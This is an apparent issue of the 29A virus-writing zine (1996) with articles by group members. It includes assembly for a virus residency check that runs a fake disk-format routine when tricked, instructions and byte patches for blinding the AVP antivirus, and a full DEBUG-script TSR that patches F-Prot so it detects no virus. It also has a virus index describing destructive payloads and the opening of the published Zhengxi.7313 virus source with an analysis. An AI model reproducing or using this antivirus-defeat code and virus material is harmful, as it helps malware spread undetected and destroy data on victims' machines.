ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»


º º
º 15E8:107D E80445 CALL 5584 º
º 15E8:1080 F606195604 TEST Byte Ptr [5619],04 º
º 15E8:1085 7406 JZ 108D º
º 15E8:1087 C70650840000 MOV Word Ptr [8450],0000 º
º 15E8:108D F7065084FFFF TEST Word Ptr [8450],FFFF º
>>15E8:1093 7408 JZ 109D -> JNZ 109D <<
º 15E8:1095 B005 MOV AL,05 º
º 15E8:1097 E8941B CALL 2C2E º
º 15E8:109A E9E900 JMP 1186 º
º 15E8:109D 803EA4FF40 CMP Byte Ptr [FFA4],40 º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Blade Runner/29A
Los Angeles, 2019
Installation check
*************************************************************************>
The Slug

No one does a resident virus with no installation check to see if it's


already in memory; the problem is that many times this action can turn
back to it.

The most common form a virus has in order to check for its residence is
by means of a call to a service in some interruption, normally inexistent
that the virus creates for the occasion. When it gets to be executed, it
calls the service with some kind of value in a register, and checks the
answer for another one; if the value it expected gets returned, then it's
memory resident; if not, it'll proceed.

Here's where we build the typical lame program that will answer the ins-
tallation checks of several viruses we want, being therefore immune to
them... nasty, don't you think? }:)

The following technique tries to make much more difficult this trick...
i'll explain it with some detail:

The start code for the virus remains the same, except that it generates a
random number inside its own code; this number gets onto the interrupt
service (BX, in this case). This is, we'd have something like this:

; *********************** virus body ************************************

start: call sigins


sigins: pop si
sub si,offset(sigins)
.
.
.
.
.
resid: push es
xor bx,bx ; Check if it's resident
mov es,bx
mov bl,es:[046ch] ; BL <- random value
add bx,84
pop es
mov cs:si+numbyt,bx ; Keep the value

mov ah,0aah
int 21h

cmp ah,0bbh
jne goon ; In case it's not resident

mov bx,cs:[si+numbyt] ; Check if it's being tricked


cmp cs:[bx+si],al
je aprog1 ; If it's really resident
jmp death ; If it's being reicked
.
.
.
.
.
code ends
end start
; ***********************************************************************

Now, we're just left with writing the part of the interruption service
service which will return the byte's random value; in this case, 0bbh is
returned in AH and the byte in AL:

; *************** interruption service (in int 21h) *********************

int_21h: pushf
cmp ah,0aah ; Residence service
jne sigue

popf
mov ah,0bbh ; Already resident code
mov al,cs:[bx] ; Value of a code position
iret

sigue: .
.
.

; ***********************************************************************

This way, each time we call the service, as well as asking for the code,
it asks for the value at position x, being x a random offset inside its
own code. Once this is returned we try to see if we've been correctly an-
swered, otherwise... }:)

NOTE: main code keeps a copy in a variable of the random value it genera-
tes, and that is what it uses to avoid being tricked by changing
the value it passes by.

Now, it isn't that easy the damn lame resident program, cause, at least,
it must have a copy of the virus in memory; moreover, if we had variables
in the middle of the code this wouldnt be exact, so the program wouldn't
be safe at all, having also a random activation routine :)

uhmm, I love this job


The Slug/29A
AVP 2.2 naked
*************************************************************************>
Mister Sandman

We all know AVP is the best antivirus in the world, no doubt about it.
The most complete, the most reliable, above all, the most professional,
but... is it also the safest? the answer is no :)

We also know there's no antivirus invulnerable to a good codefuck. What


we'll do with this report is to show some -until know- secret holes in
AVP, and how to exploit them in order to write new retro functions.

KERNEL.AVB
**********
AVP uses a detection scheme based on a sort of antiviral databases, which
contain the necessary data (search strings, decryption routines, cleaning
info...) for detecting and disinfecting viruses. They're predefined, and
these are their names:

CA.AVB ; AVP's heuristics (code analyzer)


EXTRACT.AVB ; Decompression routines (ZIP, ARJ, RAR...)
KERNEL.AVB ; AVP's kernel database
MACRO.AVB ; Macro viruses detection
TROJAN.AVB ; Trojan detection
UNPACK.AVB ; Unpacking routines (PkLite, Diet...)

V_YYMMDD.AVB ; Main base, with all the viruses


UPYYMMDD.AVB ; Weekly updates

All these databases are defined in AVP.SET, which is the file AVP reads
before loading the them. Here is where AVP problems start... there's a
good point to attack its kernel, because it contains all the necessary
info about how to use the rest of the antiviral databases. Without it,
AVP can't detect any virus, because it doesn't know how to interpret the
data stored there... it's enough to comment it out from AVP.SET by means
of a semicolon in order to knock out AVP; even if KERNEL.AVB is loaded b4
the rest of the databases, in other than first position.

It would be enough to have a simple resident program (which might be a


virus, of course) which would intercept function 4bh of int 21h and test
for AVP.EXE; when being this file executed, it'd only have to open and
modify AVP.SET by replacing the first character (KERNEL.AVB's "K") with a
semicolon (;). Being executed in this way, AVP would detect *NOTHING*.

Another interesting method is to change the DX value when AVP's about to


read AVP.SET; instead of the original value (0004), we might enter 0010,
so it would point to the second line of AVP.SET, skipping KERNEL.AVB.

As a last thing, have a look at Tcp's AVP-Aids and at my AntiCARO... they


both fool AVP in order to exploit some bugs which favour the spreading of
our viruses :)

Of course, due to the basereading system AVP uses, we can fuck the heu-
ristic scanning (CA.AVB), the main virus database (V_YYMMDD.AVB), etc.

MODIFICATIONS ON THE FLY


************************
Another head-breaking problem for AVP. We're still trying to avoid the
AVP detection, this time in a less abrupt method, which consists on modi-
fying the executable itself in memory. Intercepting the open and read
functions, after some tracing, we reach a key point: a couple of condi-
tional jumps, with which AVP decides whether a file is infected or not.
Let's have a look at them:

ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»


º 2B9C:00D3 55 PUSH BP º
º 2B9C:00D4 8BEC MOV BP,SP º
º 2B9C:00D6 56 PUSH SI º
º 2B9C:00D7 8B760A MOV SI,[BP+0A] º
º 2B9C:00DA C45E06 LES BX,[BP+06] º
º 2B9C:00DD 26837F0A00 CMP Word Ptr ES:[BX+0A],+00 º
º 2B9C:00E2 7506 JNE 00EA <* First jump ********¿ º
º 2B9C:00E4 33D2 XOR DX,DX ³ º
º 2B9C:00E6 33C0 XOR AX,AX ³ º
º 2B9C:00E8 EB53 JMP 013D ³ º
º 2B9C:00EA C45E06 LES BX,[BP+06] ³ º
º 2B9C:00ED 26C45F19 LES BX,ES:[BX+19] ³ º
º 2B9C:00F1 8BC6 MOV AX,SI ³ º
º 2B9C:00F3 D1E0 SHL AX,1 ³ º
º 2B9C:00F5 03D8 ADD BX,AX ³ º
º 2B9C:00F7 26833F00 CMP Word Ptr ES:[BX],+00 ³ º
º 2B9C:00FB 742A JZ 0127 <* Second jump ********Ù º
º 2B9C:00FD 33C0 XOR AX,AX º
º 2B9C:00FF 50 PUSH AX º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Ok... it's rather obvious that we have to modify the first jump, but...
ohhh, little fucking surprise; AVP stops its scanning and displays the
following message:

General protection fault at ED22:050B ;-)

Hoho... watch out... the old russian bearded beerdrinker has implemented
a protection routine in its code! and i recognize that i had a lot of fun
when i saw that winking smiley... ok, one point for Kaspersky :)

Nevertheless, if we 'touch' the second jump (74 -> 75, so the jz turns
into a jnz), there's no stupid message and AVP's detection is completely
blowed out... it will continue scanning without noticing any infection...
Mister Sandman scores and ties ;)

Anyway, if you don't wanna spend so many time (five minutes :) tracing
thru AVP's code, just use this other way to reach the same result by fo-
llowing a simpler method. Your weapon will be GameTools or any other de-
bugger able to intercept functions on the fly. Start intercepting every
open with 3dh/int 21h; then intercept the file read (3fh/int 21h), and
start tracing AVP's code as soon as it gets intercepted:

ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»


º 1610:0C14 B43F MOV AH,3F <* intercepted function º
º 1610:0C16 8B5E06 MOV BX,[BP+06] º
º 1610:0C19 8B4E0C MOV CX,[BP+0C] º
º 1610:0C1C C55608 LDS DX,[BP+08] º
º 1610:0C1F CD21 INT 21 º
º 1610:0C21 1F POP DS º
º 1610:0C22 7202 JB 0C26 [...] º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Once you've got this, just change b43f for b43c, so AVP will close the
file instead of reading from it... the result will be that, as usual, AVP
won't detect any virus. This method is a bit bully, but you'll save some
time and the result will be the same :)

Oh, btw... i was gonna forget it... Mister Sandman, 2; Kaspersky, 1 ;-P

WILD TROJANS
************
Another of the resources in order to fuck AVP is using trojans, albeit
from here on, imagination is worth it. The twister ideas you have, the
better and more original results you get ;)

These are two of the ideas i've practised (i can't include their code as
it's destructive and goes against the rules of 29A) :)

þ Check every time AVP opens and reads from a file; then, trunk this file
by using 3ch/int 21h... in this way, every file scanned by AVP will
turn into a 0 byte file :*)

þ Intercept AVP scanning and then infect, or even overwrite the file it's
being scanned with a tiny virus... Trivial.22, for instance :)

MODIFICATIONS ON THE EXECUTABLE


*******************************
Just note one more. In the AV community (sect?), the ratio between the
stupidity of the sanity check is directly proportional with the stupidity
of its author. And Kaspersky is part of that AV community, of course :)

As he ain't a dork at all, the sanity check is quite original and effec-
tive. It just consists on a simple comparison of the address of the ori-
ginal entry point with the actual one.

What does this mean? oh, well... just stop and think for a while about
viruses which don't modify the entry point of the file they infect ;)

As you can see, all it takes is some knowledge on how AVP behaves and so-
me imagination to exploit its bugs. I stopped commenting the AVP.EXE dis-
assembly, as AVP 3.0 will be released very soon, and its kernel has been
written in ASM, so it will be much easier to explore than the code of
previous versions, which was written in C++ <g>, and be sure that i'll
bring you more news and bugs on it in 29A#2 ;)

Mister Sandman,
bring me a dream.
Chilling Fridrik
*************************************************************************>
Blade Runner

The reason of writing this article is that i realised that i've never
seen how to fool F-Prot in any virus magazine... and as i like to be o-
riginal, i decided to have a look at it and try to do some modifications
in its code so it won't detect any virus... and i got it :)

And believe me that it's quite easy to do... just keep reading the arti-
cle and try it by yourself following the next steps :)

Ok, F-Prot, unlike TbScan, uses int 21h for opening, reading, and so on,
that is, for scanning files for any infection. When it reads from a file,
it does it holding the next values:

AX=3f00h
BX=0008h
CX=0800h

Since we know this, it's very easy for us to intercept this kind of calls
to the int 21h with something like this:

new_int_21h: cmp ax,3f00h


jne jump_back

cmp bx,8
jne jump_back

cmp cx,800h
je fprot_read

jump_back: db 0eah
old_int_21h dw ?,?

Once we know that it's a F-Prot read, we can start doing our work... the
unique things we must do for it to don't detect absolutely anything is to
bypass the secure scan and the two types of heuristic scanning it uses.
Let's see the way in which we can do this thingy :)

²²²²²²²²²²²²²²²²²²²²²²²²²²²
²² Secure method ²²
²²²²²²²²²²²²²²²²²²²²²²²²²²²

803FD0 CMP BYTE PTR [BX],D0


>7519 JNZ 0123 <<< change this for JZ
C41E502D LES BX,[2D50]
26 ES:
807F01CF CMP BYTE PTR [BX+01],CF
>750E JNZ 0123 <<< change this for JZ
9AF500C136 CALL 36C1:00F5

C706D64B0000 MOV WORD PTR [4BD6],0000


C706D44B0000 MOV WORD PTR [4BD4],0000
C41E502D LES BX,[2D50]
26 ES:
>803FFF CMP BYTE PTR [BX],4D <<< change 4dh for 0ffh
750B JNZ 0121
C41E502D LES BX,[2D50]
26 ES:
807F015A CMP BYTE PTR [BX+01],5A
742A JZ 014B

²²²²²²²²²²²²²²²²²²²²²²²²²²²
²² First heuristic ²²
²²²²²²²²²²²²²²²²²²²²²²²²²²²

9A2605AF1F CALL 1FAF:0526


0BC0 OR AX,AX
>740E JZ 0117 <<< change this for jnz
FF36E43D PUSH [3DE4]
9A0000794A CALL 4A79:0000

²²²²²²²²²²²²²²²²²²²²²²²²²²²²
²² Second heuristic ²²
²²²²²²²²²²²²²²²²²²²²²²²²²²²²

833EBF5500 CMP WORD PTR [55BF],+00


>7402 JZ 0109 <<< change this for jnz
EB32 JMP 013B
81FE8713 CMP SI,1387
7524 JNZ 0133

And that's all, folks... since this five bytes have been changed, F-Prot
will *NOT* detect any virus. As a last thing i'll include the complete
routine, though it's a trivial thing, so you can implement it in your re-
tro code; as i always use debug for coding, i think you'll have to adapt
it, but anyway... :)

And don't ask me why do i always use debug for coding instead the tra-
ditional .ASM text file and TASM or A86... :)

>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
na-fp.com
a100
jmp 0174

a110
cmp ah,3f
jz 0117
jmp 0125
cmp bx,+08
jz 011e
jmp 0125
cmp cx,0800
jz 0130
nop
cs:
jmp far [0103]

a130
push ax
push bx
push cx
push dx
push ds
mov ax,ss
sub ax,3295
mov ds,ax
mov bx,01a2
mov cl,f0
mov [bx],cl
mov cl,74
mov bx,042b
mov [bx],cl
mov bx,0420
mov [bx],cl
mov ax,ss
sub ax,3521
mov ds,ax
mov bx,03e8
mov cl,75
mov [bx],cl
mov ax,ss
sub ax,17c7
mov ds,ax
mov bx,0347
mov [bx],cl
pop ds
pop dx
pop cx
pop bx
pop ax
cs:
jmp far [0103]

a174
mov dx,197
mov ah,9
int 21
mov ax,3521
int 21
mov [0103],bx
mov [0105],es
mov dx,0110
mov ax,2521
int 21
mov dx,0174
int 27

a197
db "F-Prot won't detect any virus","$"
db " (c) Blade Runner/29A, 1996 ","$"

rcx
be
w
q
>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Blade Runner/29A
Los Angeles, 2019
Virus index
*************************************************************************>
Mister Sandman

Zhengxi.7313
************
Author : Unknown (well, hehe... ;)
Origin : Russia
Objectives: EXE (standard, Pascal/C, SFX), OBJ and LIB. Besides, Zhengxi
inserts COM droppers into ZIP, ARJ, RAR and HA archives with
the stored method
Hooks : int 21h and int 25h, with redirection and UMB residency; it
doesn't go resident under certain conditions
Behaviour : full stealth, highly polymorphic (encrypted with two polymor-
phic loops), uses a CRC32 generator for every data comparison
it makes. It has a trigger routine, with deletes all the fi-
les of all the drives under certain conditions. This is pro-
bably the best virus ever.

V.6000
******
Author : Unknown
Disasm by : Tcp/29A
Origin : Unknown
Objectives: EXE, COM, MBR and boot sectors (multipartite)
Hooks : int 8, 13h, 17h, 1ch, 20h, 21h, 25h, 26h, 27h
Behaviour : under certain conditions, depending on some internal counters
and on the way it's being executed (under debugger), it era-
ses the CMOS and the hard drive sectors. It also stays memory
resident after any kind of reboot thanks to this trick: when
it infects MBR, it stores the drives info from the CMOS, and
then sets these values to zero. When it detects any disk ac-
ccess, it restores the original CMOS on the fly, so the user
can't remark any change. If the user tries to do any kind of
boot, as the CMOS values are set to zero, the MBR will recei-
ve the control, and it will restore these values, making po-
ssible to boot from the floppy drive as usual. Polymorphic :)

TS.1423
*******
Author : Unknown
Disasm by : Tcp/29A
Origin : Spain
Objectives: COM and EXE files (infects on file closing)
Hooks : int 13h, int 21h
Behaviour : its encryption routine is based on tracing code via int 1,
fully antidebugging. It doesn't infect *AN.*. If the year is
above 1995, it will mark clusters as bad, and on fridays, it
will change disks writes to verifications. UMB residency.

Remolino.968
************
Author : Trumpet WinCock
Origin : Spain
Objectives: COM and EXE files
Hooks : int 21h
Behaviour : a new infection way... neither overwriting, nor appending,
nor prepending, nor ap-pre-pending... guest :) It looks for
some unused code in their victims big enough to hold the vi-
ral code, and if there's enough room for it, it copies itself
there without doing any change in the file length. It has a
payload which displays a whirlscreen effect, which became ra-
ther famous (it was even used by NuKE in their zines).

Torero
******
Author : Mister Sandman/29A
Origin : Spain
Objectives: COM files
Hooks : int 13h, int 21h
Behaviour : it has two peculiarities: first, it doesn't store the origi-
nal header of the files it infects into its body, but into a
newly discovered (by AVV and me) zone of ten free bytes, in
the directory entry of the file. And second, it uses the 8th
attribute bit as infection mark, making the infection checks
much more simple, reliable and antiheuristic.

Internal Overlay
****************
Author : Tcp/29A
Origin : Spain
Objectives: COM and EXE files
Hooks : int 21h
Behaviour : it infects COM and EXE files without modifying their headers,
bypassing lots of CRC security programs which just check the
file header. It does this by appending an internal overlay to
the file and writing an overlay loader at the entry point. It
infects, then, EXE files with internal overlays, but NOT if
any of the relocation items is located in the entry point,
unless this item is found at offset 7 (it would be a PkLited
file) ;)

Cri-Cri
*******
Author : Griyo/29A
Origin : Spain
Objectives: COM, EXE and floppy drives (multipartite)
Hooks : int 3, 13h, 21h
Behaviour : full stealth, as it redirects reads to infected sectors and
files to the original ones, highly polymorphic, it won't in-
fect files with any V in their name, files with the actual
day date, and some AV executables. It has a payload which
display a message on the screen.

TheBugger
*********
Author : The Slug/29A
Origin : Spain
Objectives: COM files
Hooks : int 1, 3, 21h, 0cdh, with redirection
Behaviour : its peculiarity consists in that it gets a random number be-
tween 2 and 5 (x) and starts tracing its victim until it rea-
ches the call number 'x' :) and then infects that call. It
uses a new tunneling routine based on an old one (the int 30h
trick), bypassing the AH < 24 limit and finding the original
int 21h vector address. Besides, it uses an antilamer install
check which detects if the user is trying to deceive it with
one of those lame programs which just return the virus resi-
dency value so the virus doesn't go resident again... TheBug-
ger avoids this by doing a random byte comparison, and if it
detects that the user is trying to deceive it, executes a si-
mulated HD formatting routine and displays a message.

Apocalyptic
***********
Author : Wintermute/29A
Origin : Spain
Objectives: COM and EXE files
Hooks : int 3 and int 21h, with redirection
Behaviour : it's a stealth COM and EXE infector which disables TbDriver
on every execution; it skips F-Prot's stealth detection engi-
ne, and if the system date is equal to july 26th, it will
show all the files in with 29Ah as length.

AVP-Aids
********
Author : Tcp/29A
Origin : Spain
Objectives: COM files
Hooks : nothing, it's a runtime infector
Behaviour : AVP-Aids proves the capabilities to write and spread viruses
using AVPRO's API functions. It inserts a new viral database
into AVP; this database will make AVP to delete F-Prot, Scan
and TbScan when being scanned. Besides, AVP won't detect any
virus, favouring the appeareance of opportunist infections by
other viruses.

AntiCARO
********
Author : Mister Sandman/29A
Origin : Spain
Objectives: COM files
Hooks : int 21h
Behaviour : it's just a 'joke' virus to protest against Vesselin Bontchev
and the way in which CARO and this sucka name the viruses. As
AVP is Bontchev's favourite AV, AntiCARO will modify it so it
(AVP) will detect VLAD's Bizatch as 'Bizatch_:P' and not as
Boza. About the virus itself, it's just a TSR COM infector
which uses SFTs for performing its infection routines.

Galicia Kalidade
****************
Author : Leugim San/29A
Origin : Spain
Objectives: WinWord documents
Behaviour : it's an encrypted macro infector which hits documents on clo-
sing. Besides, it has two peculiarities: it's the tiniest ma-
cro infector ever, and it contains a trigger routine; if it
finds the text chain 'dir a:' in any document, it will delete
MSDOS.SYS and IO.SYS, and then display a message box.

Mister Sandman,
bring me a dream.
; Ú**********************¿
; ³ Zhengxi.7313 ³Û
; ³ original source code ³Û
; ÀÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
;
;
; At last... the source of the most complex virus ever is published in a
; virus magazine. And we're glad that the fortunate magazine is 29A :) You
; are stepping with the reader cool smooth scroll through the original
; source code of the best of the three versions (7271, 7307, 7313) of Zhen-
; gxi. This source code, as the compiled version of the virus itself, is
; quite hard to understand. Anyway, i decided to leave the source code 'as
; is', albeit some weeks ago i started making it up a bit and commenting
; some uncommented code so it would be more easy and clear to read. At last
; i decided to stop spending my time on this and give you the *truly* ori-
; ginal source code, so you can know the way in which its author coded it,
; you can read the original comments (some of them in russian), and so on.
;
; The original source code is formed by some ASI, ASM and INC files, which
; make the virus compiling harder than the virus coding itself :) That's
; why i included a ZIP which contains the compiled version of Zhengxi.7313.
;
; I must give thanks to the author of this rocking virus because of the su-
; permarvel he coded and for releasing the original source code (btw, he
; seems to have a great sense of humour :), and to the friend who gave this
; jewel to me, who wishes to remain anonymous. As a last thing, for those
; who still don't know what does Zhengxi do (!), here's a very good report
; about the Zhengxi virus family, written by Eugene Kaspersky, who, btw,
; should use the money he earns with AVP for taking some english classes :)
;
;
; **´ Zhengxi family Ã*****************************************************
;
; This is the family of very dangerous, polymorphic and stealth parasitic
; viruses. These viruses are more that 7k of length, very complex, maybe
; the most complex DOS viruses. These viruses infect EXE, OBJ and LIB fi-
; les, and append COM droppers to ZIP, ARJ, HA, and RAR archives. The viru-
; ses contain the text strings:
;
; Abnormal program termination
; The Virus/DOS 0.54 Copyright (c) 1995 Zhengxi Ltd
; Warning! This program for internal use only!
;
;
; Installation
; ************
; The virus code receives the control from different points depending on
; the infection way, but in all cases the destination is the polymorphic
; decryption routine. In EXE files (appending) the decryption routine re-
; ceives the control immediately when EXE file is loaded into the memory
; for execution; in EXE files (inserting), from the loader code (see EXE
; infection); in the files linked with infected OBJ/LIB files, from a call
; instruction (see OBJ/LIB infection); the COM droppers have a jmp instruc-
; tion at their beginning, which brings the control to the decryption rou-
; tine.
;
; Being decrypted, the virus installation routines receives the control.
; The virus hooks int 1 (one step tracing), and traces int 21h. While tra-
; cing, the virus looks for some specific code within the int 21h handler
; (that code is present in DOS 5.x and DOS 6.x). If such code is found, the
; virus checks several conditions, and terminates installation in some ca-
; ses. These cases are the ones below:
;
; - Microsoft Windows is installed
; - Boot drive is A: or B:
; - Int 8, 13h, 28h point to the same segment (to exit installation if any
; antivirus monitor is installed?)
; - Host file's day (date and time stamp) is the same or near the current
; day (if the two highest bits of current day number xored with the file
; day is equal to zero)
;
; Then the virus allocates the block of the system memory for the virus TSR
; copy, stores in its body 11 bytes from the address of the int 21h handler
; and patches int 21h code with a far call instruction (2f ff 1e ?? ??),
; which brings the control to the int 25h handler (absolute disk read).
; Then the virus stores the first five bytes of int 25h handler and writes
; there other five bytes, which become the far jmp to the virus code. The
; result looks like follows:
;
; int 21h handler:
; ... ...
; Ú********* 2e ff 1f ???? call far cs:int_25h
; ³ c7 06 ???? ; Magic word?
; ³ int_25h: ???? ???? ???? ???? ; Far addr of int 25h
; ³ ... ...
; ³
; À> int 25h handler:
; Ú********* ea ???? ???? jmp far virus_handler
; ³ ... ...
; À> virus handler:
; 2e 8f 06 ... pop cs:caller_ip
; ... ...
;
; As result, the virus has the same handler to intercept both int 21h and
; int 25h calls. To separate these calls, Zhengxi checks the address of the
; caller (the caller_ip). If the call goes to the int 21h handler, the vi-
; rus passes the control to its int 21h handler routine; in another case,
; the virus int 25h handler receives the control.
;
; The installation routine is complete, but the virus can move its code to
; other memory blocks (see int 21h handler analysis). So, the TSR copy of
; the virus does not occupy the same blocks of the system memory, but may
; move itself to other addresses, including UMB ones.
;
; Then the virus returns the control to the host program. There are three
; different variants of such return, and they depend on the infection me-
; thod. In case of a COM dropper the virus just displays this message:
;
; Abnormal program termination
;
; And returns to DOS with the terminate function (int 21h, ah=4ch). In case
; of the EXE-appending infection method the virus restores the original fi-
; le header by using its polymorphic engine (generates the polymorphic de-
; cryption routine, and executes it for restoring the original header (see
; EXE infection below). In case of the EXE-inserting way the virus just re-
; turns to the host program because the virus loader inserted into the file
; restores the original code itself. In case of being an OBJ/LIB file the
; virus also just returns to the host (see OBJ/LIB infection below).
;
;
; Int 21h handler
; ***************
; Zhengxi intercepts 18 int 21h functions:
;
; 3dh, 6ch - Open/create file
; 3eh - Close file
; 3fh - Read file
; 42h - Lseek
; 4bh - File execution
; 41h - Delete file
; 11h, 12h - Findfirst/findnext FCB
; 4eh, 4fh - Findfirst/findnext ASCII
; 00h, 4ch - Terminate
; 31h - Terminate and stay resident
; 67h - Set handle count
; 48h, 49h, 4ah - Memory managing functions (allocate, free, resize)
;
; The set handle count, file execution and memory managing functions are u-
; sed by the virus to hide its code into the system memory (Zhengxi manipu-
; lates MCB blocks to remain invisible on the memory map while using memory
; browsing utilities).
;
; While intercepting terminate, TSR and free memory DOS functions, Zhengxi
; moves its code to a new address in the system memory. The virus allocates
; a new memory block (may be a conventional or UMB memory block), and co-
; pies itself there. So, while installing, the virus does not affect UMB
; blocks to place its TSR copy, but then it may move into UMB, and hide it-
; self there.
;
; While file opening the virus performs several different calls. First, the
; virus checks the opening mode, and if the file is opened for writing, the
; virus disinfects the file.
;
; Before disinfection the virus checks the file is being accessed, and the
; program that is accessing that file (the caller). The virus compares the
; name of this program or caller with a name list (see below), and does not
; disinfect the accessed file if the caller name is found in that list.
;
; UUENCODE.EXE, PKLITE.EXE, LZEXE.EXE, NDD.EXE, DIET.EXE, AFD.EXE, SD.EXE
; SPEEDDSK.EXE, DEFRAG.EXE, TLINK.EXE, LINK.EXE
;
; In case of the ah=3d00h function (open read-only) the virus performs some
; strange actions. It scans the caller code and patches it. It looks like
; patching some antivirus scanner. Fortunately, the virus has a bug, and
; that branch is never executed.
;
; While opening the file, the virus also brings the control to its stealth
; routine: it replaces the file length with the original one.
;
; While reading from a file, Zhengxi calls the stealth routine. In case of
; reading from the header of the infected file the virus reads, decrypts
; and copies the original header into the reading buffer.
;
; In case of the lseek function the virus brings the control to other of
; its stealth routines: it doesn't allow to seek out of the original file
; length.
;
; While deleting an infected file, the virus disinfects it.
;
; While looking for files with findfirst/findnext, Zhengxi replaces the fi-
; le length with the original one if the file is infected.
;
; Findfirst/findnext ASCII calls are also used by the virus to catch files
; for infection. The virus saves the name of any file that is accessed with
; the findfirst function, and approximately each 5th file (with probability
; 3/16) accessed with the findnext function. The virus has only one buffer
; for the file name, so every next name overwrites the previous one.
;
; While closing any file the virus checks and infects it with the name that
; that is stored in the buffer. The virus also infects the file that is be-
; ing closed, but is does it with probability 1/4 (by the result of its
; random generator).
;
;
; Infection
; *********
; Before infecting a file, Zhengxi checks several conditions:
;
; - The file is not "just created", by comparing the current day number
; with the file date and time stamp (as while installing itself)
; - The file is local, and not on A: or B: drive
; - The file name is not *.?V? (*.OVL)
; - There is enough free disk space (it checks this with int 21h, ah=36h)
;
; If all this is ok, the virus reads the file header and checks it for EXE,
; OBJ, LIB and archives stamps.
;
;
; Infecting EXE files
; *******************
; Zhengxi infects EXE files by using three different infection methods:
; appending, inserting, and infecting archives in self-extracting files.
;
; At first, the virus checks the file structure, and if it is a self-ex-
; tracting EXE file (created by ZIP2EXE, for instance), Zhengxi infects it
; using the same method it uses when infecting archives (ZIP, ARJ, HA, RAR)
; that is, creating a COM dropper and adding it to the archive contents.
;
; Then the virus checks the file length, and doesn't infect files with a
; length lesser than 400h (1024) bytes. If the length of the loadable modu-
; dule (note: not the file length) is larger that 32k, Zhengxi inserts its
; own loader int the middle of the file. In other case, it infects the file
; by the appending method.
;
; While infecting files by the appending method, Zhengxi reads file header,
; encrypts and saves it to the end of the file. Then it runs its polymor-
; phic generator, and saves the encrypted virus body and the polymorphic
; loops to the end of the file. For finishing the file infection, Zhengxi
; increases the file length to a value that divided by 9dh gives 25h as
; rest (this is the virus ID stamp, its infection mark), and modifies the
; EXE header fields (registers and module length).
;
; Note: Zhengxi encrypts the original host header with the polymorphic en-
; cryption loop, and that loop is different that the routine it uses for
; encrypting the virus body. Then, the virus calls its polymorphic engine
; twice: while encrypting the original EXE header, and while encrypting the
; main body.
;
; While executing an infected EXE file, the decryption loop restores the
; main virus body, but not original file header. To return to the host, the
; virus has to decrypt the host data, but the engine generates random loops
; with random selected encryption functions. To solve that problem, Zhengxi
; stores the initial random generator values while encrypting the host da-
; ta, and runs the polymorphic generator with the same values while decryp-
; ting those data. As result, the generator brings the same code which was
; used for encrypting the host header, and being executed, that routine de-
; crypts it.
;
;
; Infecting EXE Files (inserting)
; *******************************
; If the file length is above 32k, the virus seeks to the beginning of the
; EXE main module (just after EXE header), reads 6k of code, and looks for
; C/Pascal routines there. Usually C/Pascal routines begin from the same
; "header" that saves the BP register, and moves the stack pointer to BP.
;
; Zhengxi scans the code for those "headers" and, if such code is found,
; the virus scans the next 54h bytes of code for a ret or a call far ins-
; truction to prevent an overlap of the next subroutine, or relocated ad-
; dress. If such code (ret or call far) is found, the virus exits from its
; infection routine.
;
; Then the virus reads 54h bytes of that routine, overwrites it with the
; code of its loader, and then encrypts the main virus body with its poly-
; morphic engine, and saves it to the end of the file. Then Zhengxi en-
; crypts with a simple sub function the original subroutine code and the
; second part of the loader, and saves it to the end of the file. Then the
; virus writes the random data to the end of the file in the same way as
; in the "appending" infection method.
;
; Not infected Infected
; ************ ********
; Ú**************¿ Ú**************¿
; ³EXE header ³ ³EXE header ³
; Ã**************´ Ã**************´
; ³Main EXE code ³ ³Main EXE code ³
; Ã--------------´ Ã--------------´
; ³C/Pascal subr Ã**¿ ³Virus loader ³ Part 1, 52h bytes, not encrypted
; Ã--------------´ ³ Ã--------------´
; ³ ³ ³ ³Main EXE code ³
; ³ ³ ³ ³(continued) ³
; À**************Ù ³ Ã**************´
; ³ ³Virus ³ Encrypted with polymorphic loops
; ³ Ã--------------´
; ³ ³Virus loader ³ Part 2, encrypted with sub
; ³ Ã--------------´ 70h bytes
; À*>³Saved code ³ Original code of the patched subr,
; Ã--------------´ 52h bytes, encrypted with sub
; ³Random data ³ File length/9dh, the rest is 25h
; À**************Ù
;
; Being executed, the loader looks for the host file name by using the PSP
; fields, opens the file, seeks to the file end, then reads, decrypts and
; executes the second part of the dropper. This part restores the patched
; subroutine, allocates system memory (conventional or UMB), reads the main
; virus body, and passes the control to the decryption polymorphic loop.
; That loop decrypts the virus body, and passes the control to Zhengxi's
; installation routine.
;
